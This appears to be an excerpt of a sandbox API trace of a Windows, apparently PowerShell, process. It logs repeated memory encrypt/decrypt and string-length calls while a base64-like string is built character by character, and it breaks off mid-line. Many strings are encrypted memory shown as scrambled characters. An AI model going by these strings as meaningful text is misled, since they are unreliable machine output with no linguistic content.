[0235.727] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0235.727] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f㬊帿瀖᱾䆑긭䙗꼮옡ﴣ䀿") returned 0x30 [0235.727] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f㬊帿瀖᱾䆑긭䙗꼮옡ﴣ䀿") returned 0x30 [0235.727] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0235.728] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD37gEKwkg+LIBw=鞑\飝∪) returned 0x30 [0235.728] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0235.728] EtwEventActivityIdControl () returned 0x0 [0235.728] EtwEventActivityIdControl () returned 0x0 [0235.728] EtwEventActivityIdControl () returned 0x0 [0235.729] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.730] EtwEventActivityIdControl () returned 0x0 [0235.730] EtwEventActivityIdControl () returned 0x0 [0235.730] EtwEventActivityIdControl () returned 0x0 [0235.731] SysStringLen (param_1="") returned 0x8 [0235.731] SysStringLen (param_1="N") returned 0x8 [0235.731] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.731] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0235.731] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0235.731] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.731] SysStringLen (param_1="ND") returned 0x8 [0235.731] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.732] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0235.732] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0235.732] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.732] SysStringLen (param_1="NDZ") returned 0x8 [0235.732] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.732] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0235.732] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0235.732] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.732] SysStringLen (param_1="NDZl") returned 0x8 [0235.732] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.733] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0235.733] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0235.733] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.733] SysStringLen (param_1="NDZlO") returned 0x8 [0235.733] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.733] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0235.733] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0235.733] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.733] SysStringLen (param_1="NDZlOD") returned 0x8 [0235.733] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.734] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0235.734] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0235.734] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.734] SysStringLen (param_1="NDZlODR") returned 0x8 [0235.734] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.734] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0235.734] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0235.734] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.734] SysStringLen (param_1="NDZlODRm") returned 0x8 [0235.734] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.734] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.735] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.735] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.735] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0235.735] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.736] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0235.736] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0235.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0235.736] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.736] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0235.736] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0235.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0235.736] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.736] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0235.736] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0235.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0235.737] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.737] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0235.737] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0235.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0235.737] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.737] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0235.737] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.738] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0235.738] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0235.738] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.738] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0235.738] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.738] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0235.738] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0235.738] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.738] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0235.738] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.739] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0235.739] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0235.739] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.739] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0235.739] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.739] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.739] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.739] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.740] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0235.740] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.740] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0235.740] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.740] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0235.741] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0235.741] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.741] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0235.741] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.741] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0235.741] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0235.741] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.741] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0235.741] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.741] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0235.741] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0235.742] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.742] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0235.742] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0235.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0235.742] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.742] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0235.742] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0235.742] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0235.743] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.743] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0235.743] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0235.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0235.743] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.743] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0235.743] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0235.743] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0235.744] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.744] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0235.744] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.744] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0235.745] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.745] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0235.745] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0235.745] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0235.745] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.746] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0235.746] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.746] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0235.746] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0235.746] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.746] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0235.746] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.746] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0235.746] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0235.746] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.749] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0235.749] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.749] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0235.749] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0235.749] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.750] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0235.750] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.750] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0235.750] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0235.750] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.750] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0235.750] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.750] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0235.750] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0235.750] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.751] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0235.751] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.751] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0235.751] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0235.751] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.751] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0235.751] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.751] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.752] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.752] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.752] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0235.752] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.752] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0235.753] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.753] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0235.753] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0235.753] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.753] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0235.753] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.753] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0235.753] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0235.753] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.753] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0235.754] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0235.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0235.754] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.754] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0235.754] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0235.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0235.754] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.754] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0235.754] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0235.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0235.755] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.755] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0235.755] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0235.755] SysStringLen 